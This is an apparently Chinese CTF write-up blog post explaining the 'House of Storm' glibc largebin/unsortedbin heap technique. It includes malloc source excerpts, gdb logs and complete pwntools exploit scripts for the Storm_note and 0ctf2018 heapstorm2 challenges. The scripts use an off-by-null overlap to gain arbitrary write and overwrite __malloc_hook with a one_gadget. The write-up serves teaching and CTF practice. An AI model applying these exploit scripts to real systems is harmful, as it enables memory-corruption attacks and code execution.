House_of_Storm

2019-05-07 · **387**

Seize it, control it, and exploit it. Welcome to the House of Storm.

TOC

2. 前置技能
3. Storm_note
4. heapstorm
5. 参考&引用
6. 一个可以不看的小问题
6.1. 改进
7. STORM 总结

START

西湖论剑初赛的时候遇到了storm感觉自己太菜了 乘机做了一下出处:0ctf2018_heapstorm2.关于large unsorted 方面的题目还是做的太少了.
题目出得太棒了感谢出题人,感觉最后的large bin + unsorted 链入控制任意已知地址玩得太秀了.
乘着这次机会读挺久源码...理解的确更加深入了.
感谢veritas501对largebin的分享,感谢sakura关于0ctf2018_heapstorm2的分析非常详细,感谢keenan关于stormnote的exp
(看完不理解调一遍就理解了),感谢seebug.提供了已经总结得不错的减少了我看源码的时间学习资料

前置技能

mallopt

百度百科

- int mallopt(int param,int value)

param 的取值可以为M_CHECK_ACTION、M_MMAP_MAX、M_MMAP_THRESHOLD、M_MXFAST（从glibc2.3起）、M_PERTURB（从glibc2.4起）、M_TOP_PAD、M_TRIM_THRESHOLD

```
1  M_MXFAST:定义使用fastbins的内存请求大小的上限，小于该阈值的小块内存请求将不会使用fastbins获
```

例如 `mallopt(1,0)` .关闭fastbin

off_by_one

相关介绍我在上篇博客中已有提及
LINK

LARGEBIN

探索动手过程可能比较冗长无趣可以直接跳到下一节
`large chunk head` 结构

```
1  --------------------------
2  |pre_size   |size         |
3  |FD         |BK           |
4  |fd_nextsize|bk_nextsize  |
5  --------------------------
```

先来看看larginbin放入条件:

```
1  遍历 unsorted bin 中的 chunk，如果请求的 chunk 是一个 small chunk，且 unsorted bin 只
```

malloc.c

```
1  #define NSMALLBINS         64
2  #define SMALLBIN_WIDTH    MALLOC_ALIGNMENT
3  #define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > 2 * SIZE_SZ)
4  #define MIN_LARGE_SIZE    ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)
5  #define in_smallbin_range(sz)  \
6    ((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
```

看着太麻烦...直接动手试试.(amd64)

main.c

```
1  //gcc main.c -o main
2  #include<stdio.h>
3  int main()
4  {
5          char *A=malloc(0x3f8);
6          malloc(1);
7          char *B=malloc(0x408);
8          malloc(1);
9          char *C=malloc(0x3e8);
10         malloc(1);
11         free(A);
12         free(B);
13         free(C);
14         malloc(0x1000);
15 }
```

`$gdb main`

log

```
1  n132>>> heapinfo
2  (0x20)     fastbin[0]: 0x0
3  (0x30)     fastbin[1]: 0x0
4  (0x40)     fastbin[2]: 0x0
5  (0x50)     fastbin[3]: 0x0
6  (0x60)     fastbin[4]: 0x0
7  (0x70)     fastbin[5]: 0x0
8  (0x80)     fastbin[6]: 0x0
9  (0x90)     fastbin[7]: 0x0
10 (0xa0)     fastbin[8]: 0x0
11 (0xb0)     fastbin[9]: 0x0
12                   top: 0x603c70 (size : 0x1f390)
13         last_remainder: 0x0 (size : 0x0)
14              unsortbin: 0x0
15 (0x3f0)  smallbin[61]: 0x602850
16           largebin[ 0]: 0x602420 (size : 0x410) <--> 0x602000 (size : 0x400)
```

TOC

2. 前置技能
3. Storm_note
4. heapstorm
5. 参考&引用
6. 一个可以不看的小问题
6.1. 改进
7. STORM 总结

largebin因为一个bin[x]可以存放不同 `size` 的 `chunk` 所以维持了两个链表

源码中是如何确定idx的

```
#define largebin_index_64(sz)                                                \
  (((((unsigned long) (sz)) >> 6) <= 48) ?  48 + (((unsigned long) (sz)) >> 6) :
   ((((unsigned long) (sz)) >> 9) <= 20) ?  91 + (((unsigned long) (sz)) >> 9) :
   ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12)
   ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15)
   ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18)
   126)
#define largebin_index(sz) \
  (SIZE_SZ == 8 ? largebin_index_64 (sz)                                     \
   : MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz)                     \
   : largebin_index_32 (sz))
```

因为

```
2^6=0x40
2^9=0x200
2^12=0x1000
2^15=0x8000
...
```

通过测试

可以看出 `largin bin size` 和 `idx` 有如下对应

```
|size           |idx                       |
-------------------------------------------
|0x400~0xC40    |(size-0x400)//0x40+64     |
|---------------|--------------------------|
|0xC40~0xe00    |97                        |
|---------------|--------------------------|
|0xe00~0x2a00   |(size-0xe00)//0x200+97    |
|---------------|--------------------------|
|0x2a00~0x3000  |113                       |
|---------------|--------------------------|
|0x3000~0x10000 |(size-0x3000)//0x1000+113 |
|---------------|--------------------------|
|...            |...                       |
|---------------|--------------------------|
```

调试log

```
n132>>> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
```

TOC

2. 前置技能
3. Storm_note
4. heapstorm
5. 参考&引用
6. 一个可以不看的小问题
6.1. 改进
7. STORM 总结

```
14              unsortbin: 0x0
15            largebin[32]: 0x607060 (size : 0xc10)
16            largebin[47]: 0x602000 (size : 0x2810) <--> 0x604830 (size : 0x2810)
17  n132>>> p main_arena.bins[220]
18  $10 = (mchunkptr) 0x602000
19  n132>>> p main_arena.bins[221]
20  $11 = (mchunkptr) 0x604830
```

大致了解了idx和size之后,了解 `largin bin` 某一 `idx` 下链入的规则
这里偷一下 `veritas501` 的测试代码

```
1   #include <stdio.h>
2   #include <unistd.h>
3   #include <stdlib.h>
4
5   int main(void){
6           void * A = malloc(0x430-0x10);
7           malloc(0x10);
8           void * B = malloc(0x430-0x10);
9           malloc(0x10);
10          void * C = malloc(0x420-0x10);
11          malloc(0x10);
12          void * D = malloc(0x420-0x10);
13          malloc(0x10);
14          void * E = malloc(0x400-0x10);
15          malloc(0x10);
16
17
18          free(A);
19          free(B);
20          free(C);
21          free(D);
22          free(E);
23
24          malloc(0x1000);
25
26          return 0;
```

利用 `gdb` 调试可以对larginbin的双向循环链表有更多发现
这里建议不太了解的师傅调试一下.我简单地贴上free之后两个链表的状态
`..fd&bk..`

```
1   ARENA<===>A<===>B===>C<===>D<===>E
2   ^                               ^
3   |                               |
4   ================================
```

`..fd_nextsize&bk_nextsize..`

```
1   A<===>C<===>E
2   ^           ^
3   |           |
4   =============
```

TOC

2. 前置技能
3. Storm_note
4. heapstorm
5. 参考&引用
6. 一个可以不看的小问题
6.1. 改进
7. STORM 总结

- 按照大小从大到小排序,若大小相同,按照free时间排序
- 若干个大小相同的堆块,只有首堆块的fd_nextsize和bk_nextsize会指向其他堆块,后面的堆块的fd_nextsize和bk_nextsize均为0
- size最大的chunk的bk_nextsize指向最小的chunk; size最小的chunk的fd_nextsize指向最大的chunk

LARGE BIN INSERT

在 `malloc` 过程中有这样一个过程

```
...
遍历 unsorted bin 中的 chunk, 如果请求的 chunk 是一个 small chunk, 且 unsor
...
```

//unsorted bin 未满足 将其插入 largin bin 实现的部分源码

source//link里的libc版本比较新..有些检查

我下面贴的是2.23的

```
else
            {
              victim_index = largebin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
              //get idx & set bck,fwd
              /* maintain large bins in sorted order */
              if (fwd != bck)
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
                  //如果大小小于bin[idx]里最小的那就直接放到末尾
                  if ((unsigned long) (size) < (unsigned long) (bck->
                    {
                      fwd = bck;
                      bck = bck->bk;

                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_
                    }
                  else//找适合的位置
                    {
                      assert ((fwd->size & NON_MAIN_ARENA) == 0);
                      //遍历结束找到位置
                      while ((unsigned long) size < fwd->size)
                        {
                          fwd = fwd->fd_nextsize;
                          assert ((fwd->size & NON_MAIN_ARENA) == 0);
                        }
                      //如果已经存在了该大小的chunk的链入方式
                      if ((unsigned long) size == (unsigned long) fwd
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
```

TOC

2. 前置技能
3. Storm_note
4. heapstorm
5. 参考&引用
6. 一个可以不看的小问题
6.1. 改进
7. STORM 总结

```
                victim->fd_nextsize = fwd;
                victim->bk_nextsize = fwd->bk_nextsize;
                fwd->bk_nextsize = victim;
                victim->bk_nextsize->fd_nextsize = victim;
              }
            bck = fwd->bk;
          }
      }
    else
      victim->fd_nextsize = victim->bk_nextsize = victim;
  }
//fd bk 维护
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

#define MAX_ITERS       10000
  if (++iters >= MAX_ITERS)
    break;
}
```

主要的链入操作就是

```
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;

victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
```

- 如果我们拥有操作已有 `largebin` 的 `bk` 和 `bk_nextsize` 能力以及控制 `unsortedbin` 的 `bk` 的话 我们通过可以将任意地址链入 `largebin` 从而获得任意地址写

简要流程

```
set unsortedbin size bk
set largebin size bk bk_nextsize
malloc 0x48
```

在malloc 0x48的发生了

- 检测是否<maxfast 如果是那么fastbin内是否有合适的chunk
- 是否smallbin里有合适的//没有,下一个
- 检测unsortedbin//这里我们通过让 `last_remainder` !=unsorted
- 将unsorted bin 中chunk放入largebin 或者smallbin
- 原有的unsortedbin被放入largebin
- malloc一个适合size获得链入的位置

  具体过程在debug_log中有演示.

TOC

2. 前置技能
3. Storm_note
4. heapstorm
5. 参考&引用
6. 一个可以不看的小问题
6.1. 改进
7. STORM 总结

```
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
```

在新的libc中添加了新的检查

```
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nex
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
```

Storm_note

binary

Analysis

全保护

```
➜  Storm_note checksec Storm_note
[*] '/home/n132/Desktop/Storm_note/Storm_note'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

存在四个功能和一个隐藏功能

- add
- edit
- free
- exit
- 666

`add,free,exit` 比较常规不多介绍.

`edit` 内有个比较明显的 `null_byte_off` .

```
if ( v1 >= 0 && v1 <= 15 && note[v1] )
  {
    puts("Content: ");
    v2 = read(0, note[v1], (signed int)note_size[v1]);
    *((_BYTE *)note[v1] + v2) = 0;
    puts("Done");
  }
```

`666` 功能表示如果你可以任意地址写那就给你个shell...

TOC

2. 前置技能
3. Storm_note
4. heapstorm
5. 参考&引用
6. 一个可以不看的小问题
6.1. 改进
7. STORM 总结

利用

- off_by_one:shrink to overlap
- storm to edit 0xabcd0100

  思路很简单..很直接

  storm真的是很巧妙.

DEBUG_LOG

off_by_oneshrink在上文中已经介绍.主要调 `storm` 过程.

我把 `libc` 换成了我自己编译的 `libc` 有符号看得比较清楚

我们首先看看完成对 `unsortedbin` , `largebin` 布局之后的堆情况.

```
n132>>> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x56315237ba80 (size : 0x20580)
        last_remainder: 0x56315237b0f0 (size : 0x4a0)
             unsortbin: 0x56315237b0b0 (doubly linked list corruption (
          largebin[ 2]: 0x56315237b0f0 (doubly linked list corruption (
n132>>> x/8gx 0x56315237b0b0
0x56315237b0b0: 0x0000000000000000      0x00000000000004b1
0x56315237b0c0: 0x0000000000000000      0x00000000abcd00e0
0x56315237b0d0: 0x000000000000000a      0x0000000000000020
0x56315237b0e0: 0x0000000000000021      0x0000000000000021
n132>>>
0x56315237b0f0: 0x000000000000000a      0x00000000000004a1
0x56315237b100: 0x0000000000000000      0x00000000abcd00e8
0x56315237b110: 0x0000000000000000      0x00000000abcd00c3
0x56315237b120: 0x000000000000000a      0x0000000000000000
```

在链入过程中不会检查 `unsortedbin` 或者 `largebin` 的下一个 `chunk` 的 `pre_size`

所以只需要设置好

- unsortedbin:size,bk
- largebin:size,bk,bk_nextsize

```
aim_address=0xabcd0100
unsortedchunk_size=0x4b1
largechunk_size=0x4a1
unsortedchunk_bk=aim_address-0x20
bk=aim_address-0x20+8
bk_nextsize=aim_address-0x20-0x18-5
```

TOC

2. 前置技能
3. Storm_note
4. heapstorm
5. 参考&引用
6. 一个可以不看的小问题

6.1. 改进

7. STORM 总结

//想明白了之后对这波操作简直叹为观止.

继续跟着程序走: `b _int_malloc` c进入 `_int_malloc` .先是一堆检查.

- 检测是否小于maxfast

```
► 3368 if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
```

因为maxfast被重置了所以显然大于.

- 检测smallbin中是否可以满足

```
1     3405   if (in_smallbin_range (nb))
2     3406     {
3     3407       idx = smallbin_index (nb);
4     3408       bin = bin_at (av, idx);
5     3409
6   ► 3410       if ((victim = last (bin)) != bin)
7     3411         {
8     3412           if (victim == 0) /* initialization check */
9     3413             malloc_consolidate (av);
10    3414           else
11  ...
```

没有.下一个

- 去unsortedbin中寻找合适人选

  ```
  ► 3489 victim == av->last_remainder &&
  ```

  但是因为发现和 `last_remainder` 要将 `unsortedchunk` 放入 `smallbin` or `largebin`

- 对将放入的chunk进行些检查

```
1     3473           if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
2   ► 3474               || __builtin_expect (victim->size > av->system_me
3     3475             malloc_printerr (check_action, "malloc(): memory co
4     3476                              chunk2mem (victim), av);
5     3477           size = chunksize (victim);
```

- 此时 `unsorted_size` 早已被我们控制

```
1  n132>>> p size
2  $2 = 0x4b0
```

- 所以将会放入 `largebin`

```
1     3541             {
2   ► 3542               victim_index = largebin_index (size);
3     3543               bck = bin_at (av, victim_index);
4     3544               fwd = bck->fd;
5     3545
6     3546               /* maintain large bins in sorted order */
7     3547               if (fwd != bck)
```

- 由于大小大于目前largechunk所以会被链入到头部

TOC

2. 前置技能
3. Storm_note
4. heapstorm
5. 参考&引用
6. 一个可以不看的小问题
6.1. 改进
7. STORM 总结

```
n132>>> p fwd
$6 = (mchunkptr) 0x5641a7e080f0
n132>>> p victim
$7 = (mchunkptr) 0x5641a7e080b0
```

- 链入操作

```
   3574                    else
   3575                      {
   3576                        victim->fd_nextsize = fwd;
►  3577                        victim->bk_nextsize = fwd->bk_nextsiz
   3578                        fwd->bk_nextsize = victim;
   3579                        victim->bk_nextsize->fd_nextsize = vi
   3580                      }
   3581                    bck = fwd->bk;
```

- 此时victim是unsortedbin

先是对 `victim` 的 `fd_nextsize` 和 `bk_nextsize` 的赋值

```
n132>>> p victim->bk_nextsize
$14 = (struct malloc_chunk *) 0xabcd00c3
n132>>> p victim->fd_nextsize
$15 = (struct malloc_chunk *) 0x5641a7e080f0
```

- 然后对fwd(0x5641a7e080f0)的bk_nextsize赋值为victim(0x5641a7e080b0)

```
n132>>> p fwd
$18 = (mchunkptr) 0x5641a7e080f0
n132>>> p victim
$19 = (mchunkptr) 0x5641a7e080b0
n132>>> p fwd->bk_nextsize
$20 = (struct malloc_chunk *) 0x5641a7e080b0
```

- then 重点来了,设置fwd的bk_nextsize.
  `victim->bk_nextsize->fd_nextsize = victim;`
  此时 `victim->bk_nextsize=0xabcd00c3` 也就是 `fakechunk`
  其 `fd_nextsize` 也就是 `0xabcd00c3+0x20` 被设置为 `victim=0x00005641a7e080b0` 用来充当 `fake_chunk` 的 `size`

- 之后完成对fd&bk链表的维护

```
►  3589          victim->bk = bck;
   3590          victim->fd = fwd;
   3591          fwd->bk = victim;
   3592          bck->fd = victim;
```

- 对fakechunk的入链已经完成

TOC

2. 前置技能
3. Storm_note
4. heapstorm
5. 参考&引用
6. 一个可以不看的小问题
6.1. 改进
7. STORM 总结

- 接下来将其获得

  有个检查此处检查 `mmapped` 位所以要求写入的 `heap_address` 最高非0位为偶数 `/x56`

```
1  ► 3240   assert (!mem || chunk_is_mmapped (mem2chunk (mem)) ||
2    3241           av == arena_for_chunk (mem2chunk (mem)));
```

- 实现任意写.tql

exp

```
from pwn import *
def cmd(c):
        p.sendlineafter(": ",str(c))
def add(size):
        cmd(1)
        p.sendlineafter(" ?\n",str(size))
def free(idx):
        cmd(3)
        p.sendlineafter(" ?\n",str(idx))
def edit(idx,c):
        cmd(2)
        p.sendlineafter(" ?\n",str(idx))
        p.sendlineafter(": \n",str(c))
p=process("./Storm_note")
#context.log_level='debug'
add(0x500)#0
add(0x88)#1
add(0x18)#2
free(0)
add(0x18)#0
edit(0,"A"*0x18)
add(0x88)#3
add(0x88)#4
free(3)
free(1)

add(0x2d8)#1
add(0x78)#3
add(0x48)#5
add(0x4a9)#6
# now,start to build payload idx=4&5
aim=0x00000000abcd0100
bk=aim-0x20+8
bk_nextsize=aim-0x20-0x18-5
edit(4,p64(0)*7+p64(0x4a1)+p64(0)+p64(bk)+p64(0)+p64(bk_nextsize))#edit the heac
edit(5,p64(0)+p64(0x21)*7)
free(4)
edit(5,p64(0)+p64(0x4b1)+p64(0)+p64(aim-0x20))#edit the head & bk of UNSORTEDCHU
#gdb.attach(p,'')
# if heap != 0x56xxxxxxxx crashed
add(0x48)
edit(4,p64(0)*8+'\x00'*7)
cmd(666)
```

TOC

2. 前置技能
3. Storm_note
4. heapstorm
5. 参考&引用
6. 一个可以不看的小问题
6.1. 改进
7. STORM 总结

heapstorm

binary

house of storm 的起源,本该放在前面...但是我先做的StormNote所以在思路方面上题写得较为详细.这题只是叙述大概流程,感谢出题人.

Analysis

依然全保护,提供的是 `libc-2.24.so`

```
[*] '/home/n132/Desktop/heapstorm'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

题目一开始在地址 `0x13370000` 开辟空间并读入随机数至 `0x13370800` 并作初始化操作
存在:

- add
- edit
- free
- show*

  其中 `edit` 会在末尾补上特定的 `0xc` 个字节

  `show` 功能在 `*0x13370800` xor `*0x13370808` == `0x13377331` 后开启

题目中 `list[]` 储存的地址与 `size` 为真实地址和随机数异或后的值.

漏洞分析.

主要的漏洞出现在 `edit` 功能中: `off_by_null`

```
do_read(ptr, size);
v3 = &ptr[size];
*(_QWORD *)v3 = 'ROTSPAEH';
*((_DWORD *)v3 + 2) = 'II_M';
v3[12] = 0;
```

利用

- 介于上题以详细叙述了 `House of Storm` 的攻击过程本题直接拿结果来用
- Off By one shrink ===>over lap
- House of Storm =====>get the control of 0x13370800
- set list[-1] to show & set list[0] to leak
- edit list[0] + edit list[n] to modify `__malloc_hook`

TOC

2. 前置技能
3. Storm_note
4. heapstorm
5. 参考&引用
6. 一个可以不看的小问题
6.1. 改进
7. STORM 总结

exp

```
from pwn import *
#context.log_level='debug'
def cmd(c):
        p.sendlineafter("and: ",str(c))
def add(size):
        cmd(1)
        p.sendlineafter("Size: ",str(size))
def edit(idx,size,c):
        cmd(2)
        p.sendlineafter("Index: ",str(idx))
        p.sendlineafter("Size: ",str(size))
        p.sendafter("Content: ",c)
def free(idx):
        cmd(3)
        p.sendlineafter("Index: ",str(idx))
def show(idx):
        cmd(4)
        p.sendlineafter("Index: ",str(idx))
p=process('./heapstorm',env={"LD_PRELOAD":"./libc-2.24.so"})
add(0x500)#0
add(0x88)#1
add(0x18)#2
free(0)
add(0x18)#0
edit(0,0x18-0xc,"A"*(0x18-0xc))
add(0x88)#3
add(0x88)#4
free(3)
free(1)
add(0x2d8)#1
add(0x78)#3
add(0x48)#5
aim=0x13370810
add(0x666)#6
edit(4,8*12,p64(0x4a1)*8+p64(0)+p64(aim-0x20+8)+p64(0)+p64(aim-0x20-0
edit(5,0x10,p64(0)+p64(0x91))
free(4)
edit(5,0x20,p64(0)+p64(0x4b1)+p64(0)+p64(aim-0x20))

add(0x48)#4

edit(4,0x48-0xc,'\x00'*0x10+p64(0x13377331)+p64(0)+p64(0x13370840)+p6

show(0)
p.readuntil(": ")
p.read(0x20)
base=(u64(p.read(8))^0x13370800)-(0x00007fae63fa9b78-0x7fae63be5000)-
heap=u64(p.read(8))-0xf8
log.info(hex(base))
log.info(hex(heap))
#
gdb.attach(p,'')
libc=ELF("./libc-2.24.so")
libc.address=base
edit(0,0x88,p64(libc.sym['__malloc_hook'])+p64(0x100)+'\x00'*0x78)
one=0x3f35a+base
edit(2,0x14-0xc,p64(one))
```

TOC

2. 前置技能
3. Storm_note
4. heapstorm
5. 参考&引用
6. 一个可以不看的小问题
6.1. 改进
7. STORM 总结

```
61
62  # fill 0x13377331
```

参考&引用

```
1  [seebug]:https://paper.seebug.org/255/#5-last_remainder
2  [source]:https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#__libc_call
3  [veritas501]:https://veritas501.space/2018/04/11/Largebin%20%E5%AD%A6%E4%B9%A0/
4  [eternalsakura13]:http://eternalsakura13.com/2018/04/03/heapstorm2/
5  [keenan]:https://genowang.github.io/2019/04/08/%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%
```

一个可以不看的小问题.

练习的时候发现一个很有趣的问题.后来经过很长时间的diff终于找出了问题所在..原因还是源码看少了.之前这句话的理解还是比较不完整

..遍历 unsorted bin 中的 chunk, 如果请求的 chunk 是一个 small chunk, 且 unsorted bin 只有一个 chunk, `并且这个 chunk 在上次分配时被使用过(也就是 last_remainder)` , 并且 chunk 的大小大于 (分配的大小 + MINSIZE), 这种情况下就直接将该 chunk 进行切割, 分配结束...

其中有个条件是 `并且这个 chunk 在上次分配时被使用过`
code::

```
1  if (in_smallbin_range (nb) &&
2              bck == unsorted_chunks (av) &&
3              victim == av->last_remainder &&
4              (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
```

也就是 `victim == av->last_remainder` 条件.
所以我们在构造 `off_by_one&shrink` 的时候要注意 `last_remainder==aim unsorted bin` //可能我是地球上最后一个知道的😅

这里给出两个两个有趣的例子,有兴趣的师傅可以自己去玩玩看.有个奇怪的点是我自己编译的libc居然可以没有检查报错...没有深究...但是这个的确让我定位错误花了更多的时间😭

binary

1.py

```
1  from pwn import *
2  def cmd(c):
3          p.sendlineafter(": ",str(c))
4  def add(size):
5          cmd(1)
6          p.sendlineafter(" ?\n",str(size))
7  def free(idx):
8          cmd(3)
9          p.sendlineafter(" ?\n",str(idx))
10 def edit(idx,c):
```

TOC

2. 前置技能
3. Storm_note
4. heapstorm
5. 参考&引用
6. 一个可以不看的小问题
6.1. 改进
7. STORM 总结

```
        p.sendlineafter(": \n",str(c))
p=process("./Storm_note")
context.log_level='debug'
add(0x18)#0
add(0x400-0x20)#1
add(0x88)#2
add(0x18)#3
free(0)
free(1)
add(0x18)#0
edit(0,"A"*0x18)
gdb.attach(p)
add(0x88)#1
add(0x88)#4
free(1)
free(2)
p.interactive()
```

2.py

```
from pwn import *
def cmd(c):
        p.sendlineafter(": ",str(c))
def add(size):
        cmd(1)
        p.sendlineafter(" ?\n",str(size))
def free(idx):
        cmd(3)
        p.sendlineafter(" ?\n",str(idx))
def edit(idx,c):
        cmd(2)
        p.sendlineafter(" ?\n",str(idx))
        p.sendlineafter(": \n",str(c))
p=process("./Storm_note")
context.log_level='debug'
add(0x18)#0
add(0x400-0x20)#1
add(0x88)#2
add(0x18)#3
free(1)
edit(0,"A"*0x18)
gdb.attach(p)
add(0x88)#1
add(0x88)#4
free(1)
free(2)
p.interactive()
```

改进

为了避免这个坑我改进了我一般构造 `shrink` 的方法

```
add(0x400)#0
add(0x88)#1
add(0x18)#2
free(0)
```

TOC

2. 前置技能
3. Storm_note
4. heapstorm
5. 参考&引用
6. 一个可以不看的小问题
6.1. 改进
7. STORM 总结

```
8  add(0x88)#4
9  free(3)
10 free(1)
```

STORM 总结

- libc版本有要求.目前不清楚反正最新的不行<=2.24是可以的主要看链入时有没有检查
- 可以控制unsorted chunk:size,bk
- 可以控制largechunk:size bk bk_nextsize

  过程

```
1  aim=0xdeadbeef0000
2  bk=aim-0x20+8
3  bk_nextsize=aim-0x20-0x18-5
4  edit(4,p64(0x4a1)+p64(0)+p64(bk)+p64(0)+p64(bk_nextsize))#edit the hea
5  edit(5,p64(0)+p64(0x4b1)+p64(0)+p64(aim-0x20))#edit the head & bk of U
6  add(0x48)
```

Last updated: 2019-06-11 21:11:21

 n132!

House_Of_Storm

Prev
Starctf2019_Heap_master

Next
Starctf2019_upxofcpp

TOC

2. 前置技能
3. Storm_note
4. heapstorm
5. 参考&引用
6. 一个可以不看的小问题
6.1. 改进
7. STORM 总结

访客数：5674 · 访问量：12687
This blog is licensed under a Creative Commons Attribution 4.0 International License.

n132! © 2019 - 2020 · Power by Hexo Theme indigo